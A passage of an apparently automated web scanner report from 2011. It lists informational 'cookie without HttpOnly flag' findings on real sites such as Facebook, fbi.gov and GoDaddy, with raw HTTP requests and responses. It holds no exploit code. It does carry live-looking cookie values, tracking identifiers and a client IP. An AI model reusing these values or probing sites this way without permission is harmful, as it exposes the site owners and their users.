Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.441. http://www.facebook.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=_8zhn; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.442. http://www.facebook.com/BlackBerry previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerry

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=V6SJp; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.443. http://www.facebook.com/BlackBerryES previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryES

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=udoDx; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.444. http://www.facebook.com/BlackBerryFR previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryFR

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=4IO1b; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.445. http://www.facebook.com/BlackBerryNL previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryNL

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=5Sbol; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.446. http://www.facebook.com/BlackBerryUK previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryUK

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=UTyVw; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.447. http://www.facebook.com/BlackBerryZA previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryZA

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=jDrHM; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.448. http://www.facebook.com/Craig.Marshall.Deutschland previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/Craig.Marshall.Deutschland

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

lsd=N7QZT; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2FCraig.Marshall.Deutschland; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2FCraig.Marshall.Deutschland; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.449. http://www.facebook.com/ajouli1 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/ajouli1

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

lsd=RGY-U; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fajouli1; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fajouli1; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.450. http://www.facebook.com/americanexpress previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/americanexpress

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=si0H1; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /americanexpress HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.451. http://www.facebook.com/dcmoncayo previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/dcmoncayo

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

lsd=0C9sx; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fdcmoncayo; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fdcmoncayo; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.452. http://www.facebook.com/fabianomorige previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/fabianomorige

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

lsd=pH6X0; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Ffabianomorige; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Ffabianomorige; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.453. http://www.facebook.com/laprincesita.inigulable previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/laprincesita.inigulable

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

lsd=mjsdQ; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Flaprincesita.inigulable; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Flaprincesita.inigulable; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.454. http://www.facebook.com/marytere.medina previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/marytere.medina

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

lsd=f2GZC; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fmarytere.medina; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fmarytere.medina; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.455. http://www.facebook.com/pages/Kledyde/344540630304 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Kledyde/344540630304

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=EBuc7; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.456. http://www.facebook.com/pages/OrthoSuperSitecom/296664256434 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/OrthoSuperSitecom/296664256434

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=mxlHK; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pages/OrthoSuperSitecom/296664256434 HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: datr=JslNTVyi3Z1cM6bZrSjKLTPt; expires=Mon, 04-Feb-2013 22:03:18 GMT; path=/; domain=.facebook.com; httponly
Set-Cookie: lsd=mxlHK; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:03:18 GMT
Content-Length: 136626

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...

15.457. http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Orthopaedic-Trauma-Association/212018968439

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=Nxr12; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.458. http://www.facebook.com/pages/OwnerIQ/54446991004 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/OwnerIQ/54446991004

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=07KIU; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.459. http://www.facebook.com/pages/Tipd/39630264367 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Tipd/39630264367

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=PSfaE; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.460. http://www.facebook.com/pointeresortsaz previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pointeresortsaz

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=j_Hmr; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.461. http://www.facebook.com/search/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/search/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=QfoGh; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.462. http://www.facebook.com/uschi.eller previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/uschi.eller

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

lsd=F6k4f; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fuschi.eller; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fuschi.eller; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.463. http://www.facebook.com/vibrantmedia previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/vibrantmedia

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=juuUg; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.464. http://www.fbi.gov/nipc/welcome.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fbi.gov
Path:	/nipc/welcome.htm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

I18N_LANGUAGE="en-us"; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /nipc/welcome.htm HTTP/1.1
Host: www.fbi.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Cache-Control: max-age=86400
Set-Cookie: I18N_LANGUAGE="en-us"; Path=/
Content-Length: 31316
Content-Language: en-us
Content-Type: text/html;charset=utf-8
Server: HTML
Bobo-Exception-File: HTTPResponse.py
Bobo-Exception-Line: 676
Bobo-Exception-Type: NotFound
Bobo-Exception-Value: See the server error log for details
X-Ksscommands: <?xml version="1.0"?> <kukit xmlns="http://www.kukit.org/commands/1.1"> <commands> <command name="error"> <param name="type">system</param> <param name="message">NotFound: &lt;h2&gt;Site Error&lt;/h2&gt; &lt;p&gt;An error was encountered while publishing this resource. &lt;/p&gt; &lt;p&gt;&lt;strong&gt;Resource not found&lt;/strong&gt;&lt;/p&gt; Sorry, the requested resource does not exist.&lt;p&gt;Check the URL and try again.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Resource:&lt;/b&gt; http://www.fbi.gov/nipc&lt;/p&gt; &lt;hr noshade="noshade"/&gt; &lt;p&gt;Troubleshooting Suggestions&lt;/p&gt; &lt;ul&gt; &lt;li&gt;The URL may be incorrect.&lt;/li&gt; &lt;li&gt;The parameters passed to this resource may be incorrect.&lt;/li&gt; &lt;li&gt;A resource that this resource relies on may be encountering an error.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;For more detailed information about the error, please refer to the error log. &lt;/p&gt; &lt;p&gt;If the error persists please contact the site maintainer. Thank you for your patience. &lt;/p&gt;</param> </command> </commands> </kukit>
Date: Sat, 05 Feb 2011 22:03:23 GMT
Expires: Sun, 06 Feb 2011 22:03:23 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...

15.465. http://www.forex-direkt.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.forex-direkt.de
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WPS_date=20110206; expires=Mon, 07-Feb-2011 16:07:03 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.forex-direkt.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.466. http://www.forexyard.com/css/quotes-chart.cssbdb85 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.forexyard.com
Path:	/css/quotes-chart.cssbdb85

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

FXYSC=tiai6955mmolrp08t0ipccep81; path=/; domain=.forexyard.com
ts=1297010094-247956002; expires=Mon, 06-Feb-2012 16:34:54 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.467. http://www.fotoatelier-berlin.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fotoatelier-berlin.de
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

c9da44a0f2c3a7c5f1302c11dbdaeab4=c46c61107b44e5de4104f14f18f812c2; path=/
gk_cherrydesign_tpl=gk_cherrydesign; expires=Fri, 27-Jan-2012 16:07:17 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.fotoatelier-berlin.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:16 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-pl0-gentoo
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: c9da44a0f2c3a7c5f1302c11dbdaeab4=c46c61107b44e5de4104f14f18f812c2; path=/
Set-Cookie: gk_cherrydesign_tpl=gk_cherrydesign; expires=Fri, 27-Jan-2012 16:07:17 GMT; path=/
Last-Modified: Sun, 06 Feb 2011 16:07:17 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15685

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de-de" lang="de-de">
<head>

<base href="http://www.fo
...[SNIP]...

15.468. http://www.godaddy.com/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/default.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

flag1=cflag=us; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB130&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=173.193.214.243&referringpath=&referringdomain=&split=48; domain=godaddy.com; path=/
GoogleADServicesgoogleadwordshome=vbfgvejjzeofuihbqhpfcbpgibfeheyi; domain=godaddy.com; expires=Fri, 05-Feb-2021 22:05:55 GMT; path=/
HPBackground=DanicaImageOne; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /default.aspx HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.469. http://www.googleadservices.com/pagead/aclk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/aclk

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

Conversion=CvABQlMwRWp1Y1ZOVFkyREZaempsUWZEekxUMUR2ZWZudklCZ1lQSmtSVEFqYmNCOE8tUkFSQUJHQUVndEl5eENUZ0FVTi1Rdk8wRVlNbS1zb21RcE5BUm9BRzlucEQ1QTdJQkVIZDNkeTV2Y25Sb2IzVm5iUzVqYjIyNkFRazNNamg0T1RCZllYUElBUVRhQVNWb2RIUndPaTh2ZDNkM0xtOXlkR2h2ZFdkdExtTnZiUzl1YzJ4dmIydDFjQzVvZEcxc2dBSUJ1QUlZeUFMdjQtRUhxQU1CNkFQMkNPZ0ROZWdENEFYb0F3MzFBd0FBQU1REhMIzZ-ouv_xpgIViH_lCh3DPPENGAEg4LSIsLSx_ZiuAUgB; expires=Mon, 07-Mar-2011 21:48:58 GMT; path=/pagead/conversion/1059327805/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pagead/aclk?sa=L&ai=BS0EjucVNTY2DFZzjlQfDzLT1DvefnvIBgYPJkRTAjbcB8O-RARABGAEgtIyxCTgAUN-QvO0EYMm-somQpNARoAG9npD5A7IBEHd3dy5vcnRob3VnbS5jb226AQk3Mjh4OTBfYXPIAQTaASVodHRwOi8vd3d3Lm9ydGhvdWdtLmNvbS9uc2xvb2t1cC5odG1sgAIBuAIYyALv4-EHqAMB6AP2COgDNegD4AXoAw31AwAAAMQ&num=1&client=ca-pub-0813152173226346&val=ChAwYzY1MzI0MzMxMDAwMGQ5EIDMiekEGggBduMYabkg2SABKAE&sig=AGiWqtxKkq7x9q1tTdxIvyC_87Tetbxl7Q&adurl=http://www.splunk.com/download%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51 HTTP/1.1
Host: www.googleadservices.com
Proxy-Connection: keep-alive
Referer: http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA PVD OTP OUR OTR IND OTC"
Set-Cookie: Conversion=CvABQlMwRWp1Y1ZOVFkyREZaempsUWZEekxUMUR2ZWZudklCZ1lQSmtSVEFqYmNCOE8tUkFSQUJHQUVndEl5eENUZ0FVTi1Rdk8wRVlNbS1zb21RcE5BUm9BRzlucEQ1QTdJQkVIZDNkeTV2Y25Sb2IzVm5iUzVqYjIyNkFRazNNamg0T1RCZllYUElBUVRhQVNWb2RIUndPaTh2ZDNkM0xtOXlkR2h2ZFdkdExtTnZiUzl1YzJ4dmIydDFjQzVvZEcxc2dBSUJ1QUlZeUFMdjQtRUhxQU1CNkFQMkNPZ0ROZWdENEFYb0F3MzFBd0FBQU1REhMIzZ-ouv_xpgIViH_lCh3DPPENGAEg4LSIsLSx_ZiuAUgB; expires=Mon, 07-Mar-2011 21:48:58 GMT; path=/pagead/conversion/1059327805/
Cache-Control: private
Location: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CM2fqLr_8aYCFYh_5QodwzzxDQ
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 05 Feb 2011 21:48:58 GMT
Server: AdClickServer
Content-Length: 0
X-XSS-Protection: 1; mode=block

15.470. http://www.googleadservices.com/pagead/aclk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/aclk

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PREF=ID=b7759f8478680807:TM=1296943594:LM=1296943594:S=GdZVc0goNMzQj0UO; expires=Mon, 04-Feb-2013 22:06:34 GMT; path=/; domain=www.googleadservices.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pagead/aclk HTTP/1.1
Host: www.googleadservices.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Conversion=CvABQlMwRWp1Y1ZOVFkyREZaempsUWZEekxUMUR2ZWZudklCZ1lQSmtSVEFqYmNCOE8tUkFSQUJHQUVndEl5eENUZ0FVTi1Rdk8wRVlNbS1zb21RcE5BUm9BRzlucEQ1QTdJQkVIZDNkeTV2Y25Sb2IzVm5iUzVqYjIyNkFRazNNamg0T1RCZllYUElBUVRhQVNWb2RIUndPaTh2ZDNkM0xtOXlkR2h2ZFdkdExtTnZiUzl1YzJ4dmIydDFjQzVvZEcxc2dBSUJ1QUlZeUFMdjQtRUhxQU1CNkFQMkNPZ0ROZWdENEFYb0F3MzFBd0FBQU1REhMI95bpuf_xpgIVx97gCh3bZLEfGAEg54i2pdrpg5ndAUgB;

Response

HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=b7759f8478680807:TM=1296943594:LM=1296943594:S=GdZVc0goNMzQj0UO; expires=Mon, 04-Feb-2013 22:06:34 GMT; path=/; domain=www.googleadservices.com
X-Content-Type-Options: nosniff
Date: Sat, 05 Feb 2011 22:06:34 GMT
Server: AdClickServer
Content-Length: 0
X-XSS-Protection: 1; mode=block
Connection: close

15.471. http://www.googleadservices.com/pagead/conversion/1033198129/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/conversion/1033198129/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

Conversion=CvABQlMwRWp1Y1ZOVFkyREZaempsUWZEekxUMUR2ZWZudklCZ1lQSmtSVEFqYmNCOE8tUkFSQUJHQUVndEl5eENUZ0FVTi1Rdk8wRVlNbS1zb21RcE5BUm9BRzlucEQ1QTdJQkVIZDNkeTV2Y25Sb2IzVm5iUzVqYjIyNkFRazNNamg0T1RCZllYUElBUVRhQVNWb2RIUndPaTh2ZDNkM0xtOXlkR2h2ZFdkdExtTnZiUzl1YzJ4dmIydDFjQzVvZEcxc2dBSUJ1QUlZeUFMdjQtRUhxQU1CNkFQMkNPZ0ROZWdENEFYb0F3MzFBd0FBQU1REhMI95bpuf_xpgIVx97gCh3bZLEfGAAg6v7R0dupzKEPSAE; expires=Mon, 07-Mar-2011 21:48:57 GMT; path=/pagead/conversion/1033198129/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pagead/conversion/1033198129/ HTTP/1.1
Host: www.googleadservices.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Conversion=CvABQlMwRWp1Y1ZOVFkyREZaempsUWZEekxUMUR2ZWZudklCZ1lQSmtSVEFqYmNCOE8tUkFSQUJHQUVndEl5eENUZ0FVTi1Rdk8wRVlNbS1zb21RcE5BUm9BRzlucEQ1QTdJQkVIZDNkeTV2Y25Sb2IzVm5iUzVqYjIyNkFRazNNamg0T1RCZllYUElBUVRhQVNWb2RIUndPaTh2ZDNkM0xtOXlkR2h2ZFdkdExtTnZiUzl1YzJ4dmIydDFjQzVvZEcxc2dBSUJ1QUlZeUFMdjQtRUhxQU1CNkFQMkNPZ0ROZWdENEFYb0F3MzFBd0FBQU1REhMI95bpuf_xpgIVx97gCh3bZLEfGAEg54i2pdrpg5ndAUgB;

Response

HTTP/1.1 302 Found
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA PVD OTP OUR OTR IND OTC"
Date: Sat, 05 Feb 2011 22:06:31 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Content-Type: image/gif
Last-Modified: Mon, 20 Oct 2003 21:04:25 GMT
Set-Cookie: Conversion=CvABQlMwRWp1Y1ZOVFkyREZaempsUWZEekxUMUR2ZWZudklCZ1lQSmtSVEFqYmNCOE8tUkFSQUJHQUVndEl5eENUZ0FVTi1Rdk8wRVlNbS1zb21RcE5BUm9BRzlucEQ1QTdJQkVIZDNkeTV2Y25Sb2IzVm5iUzVqYjIyNkFRazNNamg0T1RCZllYUElBUVRhQVNWb2RIUndPaTh2ZDNkM0xtOXlkR2h2ZFdkdExtTnZiUzl1YzJ4dmIydDFjQzVvZEcxc2dBSUJ1QUlZeUFMdjQtRUhxQU1CNkFQMkNPZ0ROZWdENEFYb0F3MzFBd0FBQU1REhMI95bpuf_xpgIVx97gCh3bZLEfGAAg6v7R0dupzKEPSAE; expires=Mon, 07-Mar-2011 21:48:57 GMT; path=/pagead/conversion/1033198129/
Location: http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1033198129/?ctc_id=CPuUurCD8qYCFQ975QodIwTy_w&ct_cookie_present=true&ctc_ai=BQXKsAAAAAACAgICwDwAAgYPJkRQAADgB
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 978
X-XSS-Protection: 1; mode=block
Connection: close

GIF89a.......S............................j...........www.........333......"""...^...........DDDUUU........................u..fff......................................................................
...[SNIP]...

15.472. http://www.hyves.nl/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.hyves.nl
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

GP=fd0162ca; path=/; domain=.hyves.nl
chatInitialPresence=online; expires=Sun, 05-Feb-2012 23:02:18 GMT; path=/; domain=.hyves.nl
realstatId=false; expires=Sat, 05-Feb-2011 23:32:18 GMT; path=/; domain=.hyves.nl

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.hyves.nl
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.473. http://www.itbusinessedge.com/info/gglprojmgmtbeta.aspx/x26display_url=ITBusinessEdge.com/x26google_click_url=http:/googleads.g.doubleclick.net/aclk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itbusinessedge.com
Path:	/info/gglprojmgmtbeta.aspx/x26display_url=ITBusinessEdge.com/x26google_click_url=http:/googleads.g.doubleclick.net/aclk

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServeritbe_http_pool=856298924.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /info/gglprojmgmtbeta.aspx/x26display_url=ITBusinessEdge.com/x26google_click_url=http:/googleads.g.doubleclick.net/aclk HTTP/1.1
Host: www.itbusinessedge.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 400 Bad Request
Connection: close
Date: Sun, 06 Feb 2011 16:01:50 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=utf-8
Set-Cookie: BIGipServeritbe_http_pool=856298924.20480.0000; path=/
Vary: Accept-Encoding, User-Agent

<html><body>Bad Request</body></html>

